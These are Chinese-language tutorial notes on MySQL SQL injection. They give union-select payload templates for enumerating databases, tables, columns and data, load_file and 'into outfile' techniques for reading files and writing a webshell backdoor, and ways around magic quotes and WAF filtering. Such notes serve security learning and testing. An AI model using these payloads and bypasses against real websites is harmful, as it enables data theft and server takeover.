Mysql注入
信息收集
- 操作系统,数据库名,数据库用户,数据库版本,其他(网站路径等)
数据注入
- 同数据库:
- 低版本(5.0以下):暴力查询(靠猜,例如sqlmap)或联合查询,需要猜表名
- 高版本(5.0以上):information_schema有据查询
- 配合数据或其他进行getshell
高权限注入(root用户)
- 常规查询:数据注入
- 跨站(库)注入:利用注入进行数据库查询
- 需要高权限原因:一般一个数据库对应一个用户,只有高权限的root用户才能操控其他数据库
- 数据库A=网站A=数据库用户A,数据库B=网站B=数据库用户B。这样的好处一个用户对应一个库、这样网站之间的数据互不干扰,当然这是最基础的数据库模型,现在大网站都是分布式数据库
- 文件读写:利用注入进行文件读取或写入,getshell
- 存在魔术引导:编码或宽字节绕过
- 不存在魔术引导
- 失败原因:waf、权限不足
相关防注入
- 自带防御:魔术引号
- 内置函数:is_xxx(检查有什么字符,这种很难绕过或者无法绕过)等
- 自定义关键字漏洞:select过滤
- waf相关防护:安全狗、宝塔
Mysql数据结构
如何判断注入点
- 老方法:
- and 1=1 页面正常
- and 1=2 页面错误
- 新方法(较舒服):
- id=asdhdahuh(随便输),如果返回正常页面说明过滤了,返回错误页面说明查询了
- 如果出现404错误或者网站跳转说明网站对输入有检测,说明没有注入点
联合注入
- 第一步:判断注入,并且判断闭合类型
- 第二步:猜解列名数量(字段数):用order by x去猜,逐步增加x直至报错,用于确定字段数
- 第三步:在回显点(显示出来可以被看见)进行注入,获取当前数据库名、用户、版本 ,获取全部数据库名
- 第四步:获取表名,字段名,获取数据
信息收集
- 数据库版本:
version()
- 当前数据库名:
database()
- 当前登录数据库用户:
user()
- 操作系统:
@@version_compile_os
次要信息收集
- 时间:
now()
- 数据路径:
@@datadir
- mysql安装路径:
@@basedir
必要知识点
- 在mysql 5.0以后的版本存在一个
information_schema数据库、里面存储记录数据库名、表名、列名的数据库
- 相当于可以通过
information_schema这个数据库获取到数据库下面的表名和列名。
- 重点:数据库中符号
.戴白哦下一级,如user.user表示user数据库下的user表
- information_schema下面的所有数据库名所在的表
- SHOW DATABASES;命令从这个表获取数据
+--------------------+----------------------------+
| SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME |
+--------------------+----------------------------+
| information_schema | utf8 |
| challenges | gbk |
| mysql | latin1 |
| performance_schema | utf8 |
| security | gbk |
+--------------------+----------------------------+
- information_schema下面的所有表名所在的表,包括视图
- 包括表属于哪个数据库,表的类型、存储引擎、创建时间等信息
- SHOW TABLES FROM XX; 命令从这个表获取结果。
table_name:#该表下的表名字段名
column_name:#该表下的列名字段名
table_schema:#该表下的数据库名字段名
+---------------+--------------------+---------------------------------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+---------------------------------------+
| def | information_schema | CHARACTER_SETS |
+---------------+--------------------+---------------------------------------+
- information_schema下面所有的列名所在的表,包括表有多少列、每个列的类型等
- SHOW COLUMNS FROM schemaname.tablename 命令从这个表获取结果。
table_name:#该表下的表名字段名
column_name:#该表下的列名字段名
table_schema:#该表下的数据库名字段名
+---------------+--------------------+----------------+
| TABLE_CATALOG | TABLE_SCHEMA | TABLE_NAME |
+---------------+--------------------+----------------+
| def | information_schema | CHARACTER_SETS |
+---------------+--------------------+----------------+???
- 用户权限表。内容源自 mysql.user 授权表。是非标准表。
+--------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+--------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def | SELECT | YES |
+--------------------+---------------+----------------+--------------+
- 查询有哪些用户:select host,user,password from mysql.user;
- 也可以在源码中查看
跨库攻击示例
- 示例1(查询指定数据库名下的表名信息):
- -1 union select 1,table_name,3,4 from information_schema.tables where table_schema='xxx'
- 重要:必须加单引号标明
- 查询information_schema库的tables表下库名为xxx的表名,如果只出现一张表名要么是只有一张表要么是页面无法显示多行,就将
table_name改为group_concat(table_name)可以将表名一行显示
- -1使前一条查询语句得到的结果为空,使得联合查询出来的表只有后一条查询语句得到的结果,防止前者干扰,占据回显点
- 示例2(查询指定表名下的字段名信息):
- -1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='xxx'
- 示例3(查询指定数据):
- -1 union select 1,group_concat(字段名),2,3,4 from 表名
limit拆解多个数据
- 从0开始,表示第一条记录
- limit x,1:从第x行开始取一条数据
- limit m,n:从第m行开始n条数据
group_concat合并数据
- group_concat(字段名):把数据库中的某列数据或某几列数据合并为一个字符串,合并的结果会以字符串隔开
文件读写操作(每种数据库相关函数可能不一样)
- 路径获取常见方法:报错显示,遗留文件(例如phpinfo.php中的SCRIPTFILENAME(脚本文件路径)),平台配置文件,漏洞报错,爆破
- 文件函数(mysql)
- load_file():文件读取
- select load_file('路径')
- 路径最好用右斜杠/,防止转义,使用左斜杠最好用两个
- 可以用来读取敏感信息,例如第三方软件有些是固定的路径
- into outfile或into dumpfile:文件导出,可以写入后门,然后用后门工具连接
- select '字符串' into outfile '路径'
- 没有会创建
- 在linux中默认是对/var/lib/mysql目录下有写入权限对其他目录是没有写入权限
可能存在的过滤
- 最常见:魔术引号,在php配置文件(php.ini)中。可以在php扩展及设置中开关,名字是magic_quotes_gpc,默认是打开的,存在于php5.3.4及以下版本,5.4移除了
- 开启后如果输入数据中含单引号,双引号,反斜杠(\)或NULL都会被加上反斜杠,进行强制转义
- php中的addslashes()函数:效果和魔术引号相同
魔术引号绕过方法
- 编码
- 将文件路径进行hex(16进制)编码然后直接替换使用左斜杠的话还是要使用两个,然后再进行编码。16进制能绕过是因为mysql支持以16进制的形式执行命令
- 宽字节绕过
大小写绕过
- mysql对大小写不敏感,例如SEleCt相当于select
双写绕过
更改提交方法
- 用于对方只针对一种提交方法进行过滤,这时候使用其他方法就不会被过滤
跨库注入基础模板
- -1 union select 1,group_concat(table_schema),3,4 from information_schema.schemata
- -1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='xxx'
- -1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='xxx' and table_schema='xxx'
- -1 union select 1,group_concat(column_name),3,4 from tb_schema.tb_name
- 注:%23就相当于#,%20相当于空格,%27相当于引号。